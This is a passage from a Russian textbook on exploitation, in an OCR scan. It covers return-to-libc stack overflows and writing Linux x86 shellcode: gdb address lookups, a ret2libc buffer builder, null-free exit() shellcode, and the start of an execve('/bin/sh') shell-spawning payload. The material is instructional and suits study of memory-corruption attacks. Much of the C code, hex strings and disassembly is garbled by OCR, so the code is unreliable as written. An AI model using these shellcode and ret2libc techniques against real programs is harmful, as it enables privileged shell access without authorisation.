44 Глава 2. Переполнение стека функцией. Известно, что при нормальном выполнении функции (для удобства назовем ее the_function) аргументы заносятся в стек в обратном порядке. Но нас сейчас интересует то, что происходит дальше, и в конечном счете позволит передать параметры функции system(). Сначала выполняется команда CALL the_function. При выполнении команды CALL в стек заносится адрес следующей команды (адрес возврата), а регистр ESP уменьшается на 4. Когда the_function вернет управление, адрес возврата (EIP) извлекается из стека, а в ESP заносится адрес, следующий непосредственно за адресом возврата. Теперь перейдем к вызову system(). Функция the_funotion считает, что ESP уже указывает на адрес, по которому должен производиться возврат. Также предполагается, что в стеке уже размещены положенные параметры, причем первый аргумент следует за адресом возврата; это нормальное поведение стека. Таким образом, мы должны перевести адрес возврата на функцию system() и занести аргумент (в нашем случае это указатель на строку /bin/sh) в соответствующие 8 байт стека. При возврате из the_function управление передается функции system(), a system() получает данные из стека. Итак, основные принципы понятны. Для реализации метода возврата в libc необходимо провести кое-какие подготовительные действия: 1. Узнать адрес функции systemQ. 2. Узнать адрес строки /bin/sh. 3. Узнать адрес функции exit() для корректного завершения эксплуатируемой программы. Адрес функции system() в libc определяется простым дезассемблированием любой программы, написанной на C++. Компилятор gcc по умолчанию включает libc при компиляции, поэтому для определения адреса system() можно воспользоваться простейшей программой: int mainO { } Теперь давайте определим адрес system() при помощи gdb. [root@0day local]# gdb file (gdb) break main Breakpoint 1 at 0x804832e (gdb) run Starting program- /usr/local/book/file Breakpoint 1. 0x804832e in main 0 (gdb) p system $1 = {<text variable, no debug info>} 0x4203f2c0 <system> (gdb) Функция system() находится по адресу 0x4203f2c0. Теперь узнаем адрес exit(). [root@0day local]# gdb file (gdb) break main Breakpoint 1 at 0x804832e (gdb) run
Борьба с неисполняемым стеком 45 Starting program /usr/local/book/file Breakpoint 1. 0x804832e in main О (gdb) p exit $1 = {<text variable, no debug info>} 0x42029bb0 <system> (gdb) <1>ункция exit() находится по адресу 0x42029bb0. Наконец, для получения адреса /bin/sh можно воспользоваться утилитой memfetch (http://Lcamtuf.coredump.cx/), огображающей содержимое памяти для заданного процесса; проведите поиск и двоичном файле и определите адрес /bin/sh в двоичном файле. Существует п другой способ: сохраните строку /bin/sh в переменной окружения и получите адрес этой переменной. 11аконец, можно переходить к написанию программы. Мы должны: 1. Заполнить буфер фиктивными данными вплоть до адреса возврата. 2. Заменить адрес возврата адресом system(). 'Л. Записать за адресом system() адрес exit(). А. Присоединить адрес /bin/sh. Посмотрим, как это должно выглядеть в коде: #include <stdlib h> #define offset_size 0. #define buffer_size 600 char sc[] = "\xc0\xf2\x03\x42" //system() "\x02\x9b\xb0\x42" //exitO M\xa0\x8a\xb2\x42M //binsh unsigned long find_start(void) { asm ("movl %esp,%eax"), } int main(int argc, char *argv[]) { char *buff, *ptr, long *addr_ptr. addr. int offset=offset_size, bsize=buffer_size, int i, if (argc > 1) bsize = atoi(argv[l]), if (argc > 2) offset = atoi(argv[2]). addr = find_start() - offset, ptr = buff, dddr_ptr = (long *) ptr, for (i=0. i < bsize. i+=4) *(addr_ptr++) = addr, ptr += 4. lor (i O.i • 11 lDi(',r). i ")
46 Глава 2. Переполнение стека *(ptr++) = sc[l]; buff[bsize - 1] = '\0', memcpy(buff,"BUF=",4), putenv(buff); system("/bin/bash"); } Итоги В этой главе на базе стека были продемонстрированы основные принципы переполнения буферов. Идея переполнения заключается во вставке машинного кода в буфер и перезаписи адреса возврата. Заменив адрес возврата, атакующий берет выполнение программы под свой контроль и передает управление внедренному коду, запускающему привилегированный командный процессор. В оставшейся части книги рассматриваются и более изощренные методы переполнения стека.
ГЛАВА 3 Внедряемый код внедряемым кодом называется набор команд, который проникает в атакуемую программу и затем выполняется этой программой. Внедряемый код используемся для прямых манипуляций с регистрами и управления работой программы, поэтому он пишется на уровне шестнадцатеричиых машинных команд. Для написания внедряемого кода языки высокого уровня непригодны; в откомпилированном коде таких языков существует слишком много нюансов, мешающих корректному выполнению. Конечно, это обстоятельство усложняет написание ипедряемого кода, и этот процесс порой начинает походить на шаманство. В этой главе мы познакомимся со строением внедряемого кода и займемся написанием собственных программ. Работа с внедряемым кодом по многим причинам считается одним из важнейших навыков хакера. Прежде всего, чтобы выяснить, что уязвимость реально может эксплуатироваться, надо сначала попытаться ее использовать. Вроде бы это понятно на уровне здравого смысла, и все же находится немало людей, ко- юрые заявляют о возможности (или невозможности) эксплуатации уязвимости, не предоставляя надежных доказательств. Что еще хуже, некоторые программисты заявляют, что некая уязвимость не может эксплуатироваться, хотя и действительности это не так (просто из-за уверенности, что если они чего-то не могут сделать, то этого не смогут сделать и все остальные). Кроме того, разработчики программного обеспечения часто публикуют информацию о найденных уязвимостях, но не объясняют, как они могут эксплуатироваться. В таких случаях вам придется заняться написанием собственного внедряемого кода. Системные функции Внедряемый код пишется для того, чтобы программа выполнила некоторые действия, не предполагавшиеся ее разработчиком. Один из способов манипуляции программой — заставить ее вызвать системную функцию. Системные функции обладают исключительно широкими возможностями и используются программами для обращения к сервису операционной системы (получение иходных данных, вывод, завершение процесса, исполнение двоичного файла п i д.). Системные функции позволяют напрямую обратиться к ядру и огкры it.noi доступ к низкоуровневым функциям. Таким образом, системные функции n()pa:iyioi интерфейс между защищенным режимом ядра и польлоиаи'/п.екпм
48 Глава 3. Внедряемый код режимом. Теоретически реализация защищенного режима ядра предотвращает случайное или злонамеренное вмешательство в работу ОС со стороны пользовательских приложений. Когда программа пользовательского режима пытается обратиться к пространству памяти ядра, происходит исключение доступа (access exception), благодаря которому программы пользовательского режима не могут напрямую работать с пространством памяти ядра. Но поскольку для нормальной работы программ сервис операционной системы необходим, между пользовательским режимом и режимом ядра был разработан интерфейс, реализуемый вызовом системных функций. В Linux существуют два распространенных метода вызова системных функций. Программа вызывает их либо косвенно через оболочки библиотеки libc, либо напрямую на ассемблерном уровне с загрузкой необходимых аргументов в регистры и вызовом программного прерывания. Libc-оболочки создаются для того, чтобы программы продолжали нормально работать и в случае смены реализации системной функции; кроме того, они предоставляют ряд очень удобных функций (как, например, хорошо знакомая нам функция malloc). И все же большинство libc-оболочек довольно точно соответствует вызовам системных функций ядра. Системные функции в Linux реализуются посредством программных прерываг ний, а для их вызова используется команда int 0x80. При ее выполнении программой пользовательского режима процессор переключается в режим ядра и выполняет системную функцию. Метод вызова системных функций в Linux отличается от других версий Unix тем, что в нем реализована схема быстрого вызова (fastcall convention), в которой для повышения быстродействия используются регистры. Процесс выглядит следующим образом: 1. В регистр ЕАХ загружается код системной функции. 2. В других регистрах размещаются аргументы вызова системной функции. 3. Выполняется команда int 0x80. 4. Процессор переключается в режим ядра. 5. Выполняется системная функция. С каждой системной функцией связывается целочисленный идентификатор — код функции; он должен находиться в регистре ЕАХ. Системные функции получают до шести аргументов, размещаемых в регистрах ЕВХ, ЕСХ, EDX, ESI, EDI и ЕРВ соответственно. Если для вызова функции необходимо более шести аргументов, то эти аргументы передаются через структуру данных, ссылка на которую передается в первом аргументе. Итак, вы в общих чертах представляете, как работают системные функции на ассемблерном уровне. Давайте попробуем вызвать системную функцию из программы на языке С, дезассемблируем откомпилированную программу и посмотрим, как выглядят сгенерированные ассемблерные команды. Простейшая системная функция — exit(). Как нетрудно предположить по ее па- званию, она завершает текущий процесс. Напишем тривиальную С-программу, которая завершается сразу же после запуска:
Написание внедряемого кода для вызова exit() 49 mainO { exit(O); } Откомпилируйте программу. В командную строку gcc следует добавить ключ static для предотвращения динамической компоновки: gcc -static -о exit exit.с Теперь дизассемблируем двоичный файл: slap@0day root] gdb exit GNU gdb Red Hat Linux E 3post-0.20021129.18rh) (gdb) disas _exit Dump of assembler code for function _exit: 0x804d9bc <_exit+0>: 0x804d9c0 <_exit+4> 0x804d9c5 <_exit+9>: 0x804d9c7 <_exit+ll>. 0x804d9cc <_exit+16>: 0x804d9ce <_exit+18> 0x804d9cf <_exit+19>: End of assembler dump. В дизассемблированном коде функции exit вызываются две системные функции. Код функции загружается в регистр ЕАХ в строках exit+4 и exit+11: 0x804d9c0 <_exit+4> mov $0хтсДеах 0x804d9c7 <_exit+ll> mov $0xl.*eax Это коды 252 и 1 системных функций exit_group() и exit(). Другая команда загружает аргумент функции exit в регистр ЕВХ. Аргумент был ранее загружен в стек и равен нулю: 0x804d9bc <_exit+0>- mov 0x4Uesp,l) ДеЬх Наконец, две команды int 0x80 переключают процессор в режим ядра для выполнения системных функций: 0x804d9c5 <_exit+9> int $0x80 0x804d9cc < exit+16> int $0x80 mov mov int mov int hit nop 0x4Uesp.l).*ebx $0xfc.ueax $0x80 $0х1Деах $0x80 Написание внедряемого кода для вызова exit() 13 сущности, у нас есть все необходимое для написания внедряемого кода для вызова функции exit(). Мы написали код вызова системной функции на С, <н компилировали и дизассеблировали двоичный файл, и выяснили, что долгим каждая команда. Осталось сделать последний шаг: немного «подчистить» вис дряемый код, взять шестнадцатеричные коды команд из ассемблера и убедим, ея в том, чю внедряемый код работает. Итак, лля начала займемся оптимизацией Из данной стадии внедряемый код состоит из семи команд. Он всегда должен имен, как можно меньший объем, чтобы поместиться в небольшие области нио да, мк чю попробуем немного сократить его. Поскольку внедряемый кочну/им
50 Глава 3. Внедряемый код выполняться «сам по себе», то есть другие части программы не будут готовить для него аргументы (в нашем примере это значение, загружаемое в ЕВХ из стека), аргумент придется задать вручную. Для этого достаточно занести значение О в ЕВХ. Кроме того, в контексте нашего внедряемого кода достаточно системной функции exit(), поэтому вызов exit_group() можно опустить; от этого ничего не изменится. На верхнем уровне наш внедряемый код должен: 1. Сохранить значение 0 в ЕВХ. 2. Сохранить значение 1 в ЕАХ. 3. Выполнить команду int 0x80 для вызова системной функции. ПРИМЕЧАНИЕ Внедряемый код должен быть максимально простым и компактным. Чем компактнее внедряемый код, тем больше уязвимостей можно эксплуатировать с его помощью. Не забывайте, что внедряемый код будет помещаться в области ввода. Если уязвимый буфер ввода имеет длину п байт, то в эти п байт нужно поместить и внедряемый код, и команды для его вызова, поэтому объем кода должен быть меньше п. При создании внедряемого кода всегда нужно помнить об этом ограничении. Запишем эти три шага на ассемблере. Из полученного двоичного ELF-файла можно будет извлечь машинные команды: Section .text global _start _start: mov ebx.O mov eax.l int 0x80 Используем ассемблер nasm для создания объектного файла, а затем скомпонуем объектные файлы компоновщиком GNU: [slap@0day root] nasm -f elf exit_shellcode asm [slap@0day root] Id -o exit_shellcode exit_shellcode 0 Наконец, можно переходить к получению машинных кодов. Для этой цели мы воспользуемся утилитой objdump — простой программой, отображающей содержимое объектных файлов в форме, понятной для человека. Программа также форматирует коды машинных команд, что делает ее особенно удобной для создания внедряемого кода. Передайте утилите objdump нашу программу exit_ shelLcode: [slap@0day root] objdump -d exit_shellcode exit_shellcode file format elf32-i386 Disassembly of section text 08048080 < text> 8048080 bb 00 00 00 00 mov $0x0.M)x
Написание вмодриомого кода для вызова exit() 51 8048085: Ь8 01 00 00 00 mov $0х1Деах 804808а: cd 80 int $0x80 И правом столбце выводятся ассемблерные команды, а в среднем — машинные коды. Остается лишь поместить машинные коды в символьный массив и написать небольшую программу на С для его исполнения. Далее приводится одна из возможных реализаций конечного продукта: char shellcode[] = "\xbb\x00\x00\x00\x00" "\xb8\x01\xOO\xOO\xOO" "\xcd\x80\ int mainO { int *ret. ret = (int *)&ret + 2: (*ret) = (int)shellcode, } (Скомпилируйте программу и протестируйте внедряемый код: [slap@0day slap] gcc -о wack wack.c [slap@0day slap] /wack [slap@0day slap] Пока все выглядит так, словно программа завершилась обычным образом. Как убедиться в том, что завершение произошло благодаря внедренному коду? Воспользуемся трассировщиком системных функций (strace) для получения списка всех системных функций, вызванных в программе. Результат работы strace выглядит так: [slap@0day slap] strace ./wack execveC /wack", ["./wack"], [/* 34 vars */]) = 0 uname({sys="Linux", node=day jackkoziol.com", . }) = 0 brk(O) = 0x80494d8 old_mmap(NULL, 4096. PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_AN0NYM0US, 1.0)= 0x40016000 openC/etc/ld.so.preload". 0_RD0NLY) = -1 ENOENT (No such file or directory) open("/etc/ld so cache". 0_RD0NLY) = 3 fstat64C. {st_mode=S_IFREG10644. st_size=78416. .}) = 0 old_mmap(NULL. 78416. PR0T_READ. MAP_PRIVATE. 3. 0) = 0x40017000 cioseC) = 0 open("/lib/tls/libc so 6". 0_RD0NLY) = 3 readC. "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0VV\1B4\0" . 512) = 512 Istat64{3. {st_mode=S_IFREG|0755. st_size=1531064. }) =0 old mmap@x42000000. 1257224. PROT_READ|PROT_EXEC. MAP_PRIVATE. 3. 0) = 0x42000000 old__mmap@x4212e000. 12288. PROT_READ|PROT_WRITE. MAP_PRIVATE|MAP_FIXED. 3. 0xl2e000) = 0x4212e000 old mmap@x42131000. 7944. PROT_READ|PROT_WRITE. MAP"PRIVATE | MAP_FIXED|MAP_ANONYMOUS. -1, 0) = 0x42131000 ( loseC) = 0 ',H_thread_area({entry_number -1 -> 6. base_addr-0x400169e0. limit 1048575. seg_32bit 1. contents 0. read_exec_only0. Iimit_in_pages.l. seg_not_present 0. useable 1}) = 0 шипшсф@х40017000. 78416) = 0 rxil@) = ?
52 Глава 3. Внедряемый код Как видите, в последней строке присутствует наш вызов exit(O). Если захотите, вернитесь к внедряемому коду и включите в него вызов системной функции exit_group(): char shellcode[] = "\xbb\x00\x00\x00\x00" "\xb8\xfc\x00\x00\x00" "\xcd\x80"; int mainO { int *ret; ret = (int *)&ret + 2. (*ret) = (int)shell code. } Внедряемый код с функцией exit_group() приведет к тому же эффекту. Обратите внимание: мы заменили байт \х01 A) во второй строке байтом \xfc B52), и теперь внедряемый код будет вызывать функцию exit_group() с теми же аргументами. Перекомпилируйте программу и запустите strace снова; на этот раз в результатах трассировки будет указана новая функция exit_group(): [slap@0day slap] strace /wack execveC" /wack", ["./wack"]. [/* 34 vars */]) = 0 uname({sys="Linux", node=day jackkoziol com", .}) = 0 brk(O) = 0x80494d8 old_mmap(NULL, 4096. PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_AN0NYM0US, -1. 0) = 0x40016000 open("/etc/ld so preload". 0_RD0NLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so cache". 0_RD0NLY) = 3 fstat64C. {st_mode=S_IFREG|0644. st_size=78416. . .}) = 0 old_mmap(NULL. 78416. PR0T_READ. MAP_PRIVATE. 3, 0) = 0x40017000 closeC) = 0 openC/lib/tls/libc so 6". 0_RD0NLY) = 3 readC. "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0VV\1B4\0". .. 512) = 512 fstat64{3. {st_mode=S_IFREG|0755, st_size=1531064, ...}) =0 old_mmap@x42000000. 1257224, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x42000000 Old_mmap@x4212e000, 12288, PROT_READ|PROT_WRITE. MAP_PRIVATE|MAP_FIXED, 3. 0xl2e000) = 0x4212e000 old_mmap@x42131000. 7944, PROT_READ|PROT_WRITE. MAP_PRIVATE | MAP_FIXED|MAP_ANONYMOUS, -1. 0) = 0x42131000 closeC) = 0 set_thread_area({entry_number -1 -> 6. base_addr 0x400169e0. limit 1048575, seg_32bit 1. contents 0. read_exec_only0, linnt_in__pages 1, seg_not_present 0. useable 1}) = 0 munmap@x40017000. 78416) = 0 exit_group@) = ? Мы только что испытали один из основных приемов работы с внедряемым кодом. Как видите, наш код действительно работает, но, к сожалению, данный пример вряд ли подойдет для практического применения. В следующем рапдс/к1 будет показано, как изменить его для внедрения в буфер шюда
Устранение нуль-символов 53 Устранение нуль-символов Самым вероятным местом для размещения внедряемого кода является буфер. И что еще вероятнее, буфер будет представлять собой символьный массив. Мели вернуться немного назад и просмотреть внедряемый код, вы заметите м нем несколько нуль-символов (\х00): \xbb\xOO\xOO\xOO\xOO\xb8\x01\xOO\xOO\xOO\xcd\x80 11уль-символы вызовут неработоспособность внедряемого кода в символьном массиве, потому что нуль-символ интерпретируется как символ завершения с i роки. Нужно проявить немного смекалки и придумать, как избавиться от муль-символов в машинных кодах. У задачи есть два популярных решения. Первое — заменить ассемблерные команды с нуль-символами эквивалентными командами, не содержащими нуль-символов. Второе решение несколько сложнее: оно основано на динамической (во время выполнения программы) вставке муль-символов командами, не содержащими нулей. Но для этого необходимо л мать точное местонахождение внедряемого кода в памяти, поэтому мы отложим второе решение до следующего, более сложного примера. Вернемся к нашим трем ассемблерным командами и соответствующим машинным кодам: mov ebx.O \xbb\x00\x00\x00\x00 mov eax.l \xb8\x01\x00\x00\x00 int 0x80 \xcd\x80 Нуль-символы встречаются в первых двух командах. Если вы еще не забыли булеву алгебру и ассемблер, то вспомните, что операция «исключающего ИЛИ» (команда хог) возвращает нуль, если оба операнда равны. Следовательно, если задействовать команду хог для двух заведомо равных операндов, мы получим значение 0 без использования нуль-символа в команде. Вместо того, чтобы обнулять регистр ЕВХ командой mov, мы воспользуемся командой хог. Итак, первая команда: mov ebx.O Эта команда превращается в xor ebx,ebx Таким образом, одну из команд мы избавили от нулей — вскоре мы в этом убедимся. Откуда взялись нули во второй команде, ведь мы не заносим нулевое значение в регистр? Не забывайте, что в команде задействован 32-разрядный регистр. Мы перемещаем только один байт, тогда как регистр ЕАХ содержит место для четырех. Остальные три байта заполняются нулями. Чтобы решить эту проблему, достаточно вспомнить, что каждый 32-разрядный регистр делится на две 16-разрядные «области», и к первой из них можно обратиться как к регистру АХ. Далее, 16-разрядный регистр АХ тоже делится на регистры АН и AL. Если вам нужны только младшие 8 бит, используйте регистр AL. Двоичное значение 1 займет 8 бит, мы занесем его в регистр и избавимся от не обходи мости забивать ЕАХ пулями. Итак, вторая команда: IIIOV (MX. 1
54 Глава 3. Внедряемый код Эта исходная команда заменяется командой, в которой вместо ЕАХ используется регистр AL: mov al .1 Давайте проверим, что мы действительно избавились от нуль-символов. Запишем новые ассемблерные команды и посмотрим, не встречаются ли среди них нули: Section text global _start _start хог ebx.ebx mov al,1 int 0x80 Выполним вывод содержимого объектного файла утилитой objdump: [slap@0day root] nasm -f elf exit_shellcode.asm [slap@0day root] Id -o exit_shellcode exit_shellcode.O [slap@0day root] objdump -d exit_shellcode exit_shellcode file format elf32-i386 Disassembly of section text- 08048080 < text>: 8048080: 31 db хог ЯеЬхДеЬх 8048082. ЬО 01 mov $0x1 Да! 8048084: cd 80 int $0x80 Таким образом, машинные команды с нулями удалены, а объем внедряемого кода заметно сократился. Теперь мы имеем полностью работоспособный, pi что еще важнее, — подходящий для внедрения код. Запуск командного процессора Наш простейший внедряемый код для вызова exit() — не более чем обучающее упражнение. Вряд ли для него можно найти какое-нибудь практическое применение. Если вам потребовалось завершить процесс с уязвимой областью ввода, проще заполнить ее недействительными командами. Программа аварийно завершится, и эффект будет практически тем же, что и при внедрении кода exit(). Впрочем, это не значит, что все потраченные усилия пропали даром. Вызов exit() можно использовать в другом внедряемом коде, чтобы сделать что-нибудь стоящее и корректно завершить процесс. Иногда это может быть полезно. В этом разделе мы рассмотрим более интересную задачу — запуск привилегированного командного процессора, который может использоваться для несанкционированного проникновения в систему. Как и в предыдущем разделе, мы напишем внедряемый код «с нуля» для ОС Linux на процессорах IA32. Процедура будет состоять из пяти этапов: 1. Написание внедряемого кода на языке высокого уровня. 2. Компиляция и дизаесемблпровлнпс высокоуровневой мршрлммы
Запуск командного процессора 55 .'I. Анализ работы программы на ассемблерном уровне. •1. «Чистка» ассемблерного кода, добиваясь сокращения его объема и возможности внедрения. Г). Извлечение машинных команд и создание внедряемого кода. I hi первом этапе мы напишем простую программу на языке С для запуска командного процессора. Для этого проще и быстрее всего создать новый процесс. И Linux существуют два способа создания процессов: либо на базе существующего процесса с замещением уже исполняемой программы, либо созданием копни существующего процесса и запуском новой программы на ее месте. Ядро проделает все необходимое за вас — достаточно сообщить ядру, что именно нужно сделать, вызовом системной функции fork() или execve(). Совместно lork() и execve() создают копию существующего процесса, тогда как функция execve() сама по себе выполняет другую программу на месте существующей. Пойдем по простейшему пути и воспользуемся отдельным вызовом execve(). Далее приводится вызов execve() в простой С-программе: ^include <stdio h> int mainO { char *happy[2]: happy[0] = Vbin/sh". happy[l] = NULL, execve (happy[0], happy. NULL), } Откомпилируем и выполним программу, убедившись, что она работает именно пк, как задумано: Lslap@Oday root]# gec spawnshell с -о spawnshell [slap@0day root]# /spawnshell sh-02.5b# Как видите, командный процессор успешно запустился. Само по себе это не очень интересно, но представьте, что данный код внедрен и выполнен в режиме удаленного доступа — сразу станет ясно, какие возможности открывает эта ма- /кч1 ькая программа. А сейчас, чтобы наша программа была выполнена при помещении в уязвимую область ввода, ее необходимо транслировать в низкоуровневые шестнадцатеричные машинные коды. Сделать это несложно. Сначала программа обрабатывается компилятором gec с ключом -static; как и прежде, .но предотвращает динамическую компоновку и сохраняет местонахождение системной функции execve() в памяти: <jcc -static -о spawnshell spawnshell с Лпсм программа дизассемблируется для получения машинных команд. Ирине /н'ппып далее результат выполнения утилиты objdump был сокращен для :жо помни места — показаны только принципиальные фрагменты: 0H(M81d0 <main>: ЖМНИО 55 push %ebp 80/18 Id 1 89 ef) mov Uesp.Uebp 80/I8M3 83 (ч ОН sub 1.0x8Дсьр
56 Глава 3. Внедряемый код 80481d6- 80481d9: 80481de: 80481е0. 80481е7- 80481ее- 80481П: 80481f3: 80481f6. 80481f7: 80481fa- 80481ff- 8048202- 8048203- 0804d9f0 804d9f0- 804d9f1• 804d9f6: 804d9f8- 804d9fa. 804d9fb 804d9fc: 804d9ff. 804da01 804da06 804da09- 804da0c 804da0d 804da0f: 804dal4. 804dal6. 804dal7. 804dalc. 804dale 804da20. 804da22 804da23 804da24 804da25: 804da26 804da28 804da2d 804da2f 804da34- 804da36 804da37 83 e4 b8 00 29 c4 c7 45 c7 45 83 ее 6a 00 8d 45 50 ff 75 e8 fl 83 c4 c9 c3 fO 00 f8 fc 04 f8 f8 57 10 00 88 00 00 < execve>. 55 b8 00 89 e5 85 cO 57 53 8b 7d 74 05 e8 fa 8b 4d 8b 55 53 89 fb b8 Ob cd 80 5b 3d 00 89 c3 77 06 89 d8 5b 5f c9 c3 f7 db e8 cf 89 18 bb ff eb ea 90 90 00 08 25 Oc 10 00 fO ab ff 00 fb 00 ff ff ff 00 ef 08 08 00 00 00 00 00 f7 00 ff ff ff and mov sub movl movl sub push lea push pushl call add leave ret push mov mov test push push mov je call mov mov push mov mov int pop cmp mov ja mov pop pop leave ret neg call mov mov jmp nop nop $0xfffffff0.*esp $0x0.*eax Ueax.uesp $0x808ef88.0xfffffff8Uebp) $0x0.0xfffffffc(*ebp) $0x4,&esp $0x0 $0x0 0xfffffff8 Uebp). %eax %eax 0xfffffff8«ebp) 804d9f0 < execve> $0x10, Uesp Uebp $0x0.Seax Uesp.Uebp ЯеахДеах *ech %ebx 0x8Uebp).SecJh 804da06 < execve+0xl6> 0 < init-0x80480b4> 0хсЦеЬр)Десх 0x10 (Sebp).Sedx %ebx %e6i ДеЬх $0хЬДеах $0x80 %ebx $0xfffff000,Ueax ЯеахДеЬх 804da26 <_execve+0x36> ЯеЬхДеах %ebx Sedi %ebx 80485fc < errno_location> Xebx, Ueax) $0xffffffff.Sebx 804da20 <_execve+0x30> Как видите, код вызова системной функции execve() содержит довольно объемистый список команд. Нам потребуется немало времени, чтобы избавиться от всех нулей и оптимизировать внедряемый код. Познакомимся с функцией execve() поближе и попробуем понять, что же именно здесь происходит. Знакомство лучше всего начать с man-страницы execveQ. В первых двух абзацах описания содержится весьма ценная информация: int execve(const char ^filename, char *consl arqvl. ( har A(nir.l nivpl I).
Запуск командного процессора 57 • > Функция execve() исполняет программу, на которую указывает аргумент filename. Аргумент filename должен задавать либо двоичный исполняемый файл, либо сценарий, начинающийся со строки в формате "#! интерпретатор [аргументу'. В последнем случае интерпретатор задает действительное имя исполняемого файла, который не является сценарием, и вызывается в формате интерпретатор [аргумент] filename. <> Argv — массив строк аргументов, передаваемых новой программе. Envp — массив строк (традиционно в форме ключ=значение), передаваемых новой программе в качестве окружения. Оба массива, argv и envp, должны завершаться нулевым указателем. И man-странице сказано, что мы можем быть твердо уверены в том, что в функцию execve при вызове передаются три аргумента. Из предыдущего примера с вызовом exit() мы уже знаем, как организована передача аргументов системным функциям в Linux (до шести аргументов загружаются в регистры). Кроме того, в man-странице сказано, что все три аргумента должны быть указателями: первый — указатель на строку с именем исполняемого двоичного файла; второй — указатель на массив аргументов; третий и последний — указатель на массив с переменными окружения (в нашем случае его можно оставить пустым, потому что у нас в примере эти данные не передаются). ПРИМЕЧАНИЕ Так как речь идет о передаче указателей на строки, не забудьте о завершении всех передаваемых строк нуль-символами. Итак, для вызова функции мы должны поместить данные в четыре регистра; в одном регистре будет храниться код системной функции (ОхОЬ в шестнадцате- ричной записи), а в трех других — аргументы. После размещения в регистрах аргументов в правильном формате остается вызвать системную функцию. Информация, представленная в man-странице, поможет разобраться в дезассемблированном коде. Начиная с седьмой команды main, адрес строки /bin/sh копируется в память. Позднее другая команда скопирует эти данные в регистр, который будет использоваться для передачи аргумента execve: 80481е0- movl $0x808ef88.0xfffffff8Uebp) Затем в соседнюю ячейку памяти копируется нулевое значение. Оно также будет скопировано в регистр и использовано для вызова системной функции: 80481е7 movl SOxO.OxfffffffcUebp) После этого аргументы заносятся в стек, чтобы они были доступны после вызо ва execve. Первым заносится нулевой аргумент (окружение): 80481Л push $0x0 Следующим заносится в стек адрес массива аргументов (happyf ]): 80/181 f3 lea 0xfffffff8 Uebp). tox 80/181K) push bw<
58 Глава 3. Внедряемый код В последнюю очередь в стек заносится адрес строки /bin/sh: 8048Ш: push! 0xfffffff8Uebp) Теперь вызывается функция execve: 80481fa: call 804d9f0 <_execve> Функция должна подготовить регистры и сгенерировать прерывание. В целях оптимизации, не связанных с функционированием внедряемого кода, С-функ- ция транслируется на ассемблер довольно хитроумным способом. Необходимо точно определить, что для нас важно, а на что можно не обращать внимания. Первая важная команда загружает адрес строки /bin/sh в регистр ЕВХ: 804d9fc- mov 0x8(%ebp).%edi 804da0d. mov fcedi.Sebx Затем адрес массива аргументов загружается в регистр ЕСХ: 804da06: mov OxcUebp) Десх Следующая команда загружает адрес нуля в EDX: 804da09: mov 0x10 (fcebp).Sedx Последним заполняется регистр ЕАХ, в который помещается код Oxb системной функции execve: 804da0f- mov $0хЬДеах Подготовка закончена. Команда int 0x80 осуществляет переключение в режим ядра, где и выполняется системная функция: 804dal4 int $0x80 Разобравшись с теорией вызова execve на ассемблерном уровне, после дизас- семблирования С-программы молено переходить к созданию собственного внедряемого кода. Из последнего примера с системной функцией exit() вы уже знаете, что при создании внедряемого кода возникает немало проблем. ПРИМЕЧАНИЕ Вместо того чтобы создавать дефектный внедряемый код и «латать» его на ходу, как это было сделано в предыдущем примере, мы сразу сделаем все правильно. Как и в предыдущем случае, возникает неприятная проблема с нуль-символами — они задействованы в загрузке регистров ЕАХ и EDX. Не стоит забывать и о нуль-символе, завершающем строку /bin/sh. В принципе мы могли бы воспользоваться уже знакомым приемом, тщательно подобрав команды, не содержащие нулевых байтов. Это — простой вариант, но теперь мы рассмотрим второй, более сложный. Как уже отмечалось, во внедряемом коде нельзя жестко кодировать адреса. Фиксация адресов снижает вероятность того, что внедряемый код будет работать в разных версиях Linux и в разных уязвимых программах. Внедряемый код должен быть по возможности универсальным, чтобы его не приходилось переписывать заново при каждом использовании. Для решения проблемы применим относительную адресацию. Существуют разные схемы относительной адресации; в этой главе будет использован самый популярный и классический метод относительной адресации во внедряемом коде.
Запуск командного процессора 59 Чтбы реализовать осмысленную относительную адресацию во внедряемом коде, следует разместить в регистре адрес, с которого внедряемый код начина- гн'я с памяти, или адрес некоторого важного элемента внедряемого кода. После ною в программе можно использовать команды, в которых адреса задаются ( мещением по отношению к адресу, хранящемуся в регистре. И классической реализации этого трюка внедряемый код начинается с команды (ммуеловного перехода jmp, передающей управление команде call, находящейся после основного кода. При выполнении команды call в стек заносится адрес команды, следующей непосредственно за ней. Остается сразу же за командой call разместить те данные, которые должны использоваться в качестве базы для относи гельной адресации. Базовый адрес автоматически сохраняется в стеке, и нам не нужно знать его заранее. Впрочем, основная часть внедряемого кода все же должна быть выполнена, по- мому команда call передает управление команде, расположенной сразу же за первой командой jmp. Таким образом, выполнение возвращается к началу внедряемого кода. Наконец, сразу же за jmp должна следовать команда pop ESI, ко- 1о|>лм извлекает базовый адрес из стека и помещает его в регистр ESI. Теперь мы можем обращаться к байтам внедряемого кода, задавая смещение относительно I SL Следующий псевдокод поможет понять, как работает эта схема. jmp short GotoCall shell code pop esi <основная часть кода> (jOtoCal 1 • Call shellcode Db Vbin/sh' Директива DB, то есть «Define Byte» (с технической точки зрения это именно директива, а не команда), резервирует пространство в памяти для хранения с i роки. При выполнении кода происходят следующие события: I Сначала выполняется команда перехода на метку GotoCall, что немедленно ведет к выполнению команды call. '.' Команда call сохраняет адрес первого байта строки (/bin/sh) в стеке. .1 Команда call передает управление внедряемому коду. 1 Первая команда внедряемого кода pop ESI извлекает адрес строки из стека и загружает его в ESI. '> Теперь при выполнении основной части внедряемого кода может использоваться относительная адресация. Гешив проблему адресации, перейдем к написанию основной части внедряемо- ю кода на псевдокоде. Позднее мы заменим его настоящими ассемблерными командами. В конце строки будет зарезервирована область из 9 байт, поттму < i рока принимает вид •ЛнпЛЫЛМЛКШ '
